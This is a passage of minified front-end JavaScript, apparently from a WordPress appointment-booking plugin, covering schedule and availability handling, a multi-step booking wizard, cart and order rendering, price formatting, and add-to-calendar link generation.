Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let i=\"short\"==e?\"public\":e,s=G(this.startTime,i),a=G(this.endTime,i);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?u(\"All day\",\"motopress-appointment\"):\"short\"==e&&s==a?s:s+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends j{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let i=f(t,\"internal\"),s=new Date(t);e[i]=s}return e}toString(){return f(this.startDate,\"internal\")+\" - \"+f(this.endDate,\"internal\")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new Y(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),\"work\"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=f(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=b(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class ee extends j{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends j{mapRestDataToEntity(e){return new V(e.id,e)}}class ie{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new z(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==ie.instance&&(ie.instance=new ie),ie.instance}}function se(){return ie.getInstance()}let ae=null;function re(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ne(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ne(i.children)));return t}function oe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,i,s+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),ae}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new V(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(s,se().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(le):0!==t&&s.push(t);let r=[];for(let t in this.availability[e].employees){t=W(t);let i=this.availability[e].employees[t];if(0===s.length)r.push(t);else{a(s,Object.keys(i.locations).map(W)).length>0&&r.push(t)}}return 0===r.length?[]:\"entities\"===i?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=W(t),a.length>0&&-1===a.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)r.push(W(e))}return r=s(r),0===r.length?[]:\"entities\"===i?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case\"bool\":i=H(t);break;case\"integer\":i=W(t)}if(!F(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class de{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,i]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(i))throw new Error(\"Unknown timezone format: \"+e);return 60*t+i}static applyTimezoneOffset(e,t){const i=new Date(e);return i.setMinutes(e.getMinutes()-t),i}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const i=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,i);const a=this.calculateTimezoneOffset(t);return s=this.applyTimezoneOffset(s,a),this.formatDateToCalendar(s)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(i)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,i,s,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(i,n);0===t.getHours()&&0===t.getMinutes()&&0===i.getHours()&&0===i.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const h=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+n,\"END:VTIMEZONE\");let c={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+o,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+l,summary:\"SUMMARY:\"+s,description:\"DESCRIPTION:\"+a,location:\"LOCATION:\"+r};c=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",c);let p=Object.values(c);h.push(\"BEGIN:VEVENT\",...p,\"END:VEVENT\"),h.push(\"END:VCALENDAR\");const d=h.join(\"\\n\"),u=new Blob([d],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,i,s,a){const r=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),r.search=new URLSearchParams({action:\"TEMPLATE\",text:i,dates:`${o}\u002F${l}`,details:s,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append(\"ctz\",n),r.toString()}static createYahooCalendarURL(e,t,i,s,a){const r=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:\"60\",view:\"d\",type:\"20\",title:i,desc:s,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),h.dur=\"allday\"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const i=e.getService(),s=i.getName(),a=e.employee.name+\". \"+i.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let r=s;e.getCapacity()>1&&(r+=\" \",r+='\u003Cspan class=\"mpa-reservation-capacity\">',r+=i.getQuantityLabel()+\": \"+e.getCapacity(),r+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(r),t.find(\".reservation-date\").html(f(e.date)),t.find(\".reservation-time\").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function ge(e){let t=\"\";for(let i in e)t+=\" \"+i+'=\"'+e[i]+'\"';return t}function ye(e,t={}){return\"\u003Cbutton\"+ge(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function fe(e,t){let i={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},s=t.clone();s.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let n=i[t],o=s.find(n).first(),l=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(l))continue;let h=\"\";switch(t){case\"service_id\":h=e.service.id;break;case\"service_name\":h=e.service.name;break;case\"service_thumbnail\":h=ke(e.service.thumbnail);break;case\"employee_id\":h=e.employee.id;break;case\"employee_name\":h=e.employee.name;break;case\"location_id\":h=e.location.id;break;case\"location_name\":h=e.location.name;break;case\"reservation_date\":h=f(e.date);break;case\"reservation_save_date\":h=f(e.date,\"internal\");break;case\"reservation_time\":h=e.time.toString(\"short\");break;case\"reservation_period\":h=e.time.toString();break;case\"reservation_save_period\":h=e.time.toString(\"internal\");break;case\"reservation_capacity\":h=Se(r(a,a),e.capacity);break;case\"reservation_clients\":h=Pe(r(a,a),e.capacity);break;case\"reservation_clients_count\":h=e.capacity;break;case\"reservation_price\":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return s.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),s.find('[name*=\"{item_id}\"]').each(((t,i)=>{i.name=i.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&s.find(\".cell-people\").addClass(\"mpa-hide\"),s}function be(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let i of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+i.name+\"\u003C\u002Fspan>\",i.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=i.quantity_label+\": \"+i.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+_e(i.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+u(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=u(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=_e(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+u(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+u(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function ve(e,t={}){let i=m().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=\".\",s=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",s=g(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let i=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(i,\"\")}(s));let i='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":s=i+s;break;case\"after\":s+=i;break;case\"before_with_space\":s=i+\"&nbsp;\"+s;break;case\"after_with_space\":s=s+\"&nbsp;\"+i}e\u003C0&&(s=\"-\"+s)}return'\u003Cspan class=\"'+a+'\">'+s+\"\u003C\u002Fspan>\"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,i={}){let s=\"\u003Cselect\"+ge(i)+\">\";return s+=Pe(e,t),s+=\"\u003C\u002Fselect>\",s}function we(e,t,i=!1){let s=\"\";return s='\u003Coption value=\"'+e+'\"'+(i?' selected=\"selected\"':\"\")+\">\",s+=t,s+=\"\u003C\u002Foption>\",s}function Pe(e,t){let i=\"\";for(let s in e)i+=we(s,e[s],s==t);return i}function Ce(e,t,i,s){let a=\"\";const r=String(s);for(const[e,i]of Object.entries(t))a+=we(e,i,e===r);for(let e of i)a+=we(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:i}=m().settings().getThumbnailSize();return\"\u003Cimg\"+ge({width:t,height:i,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let 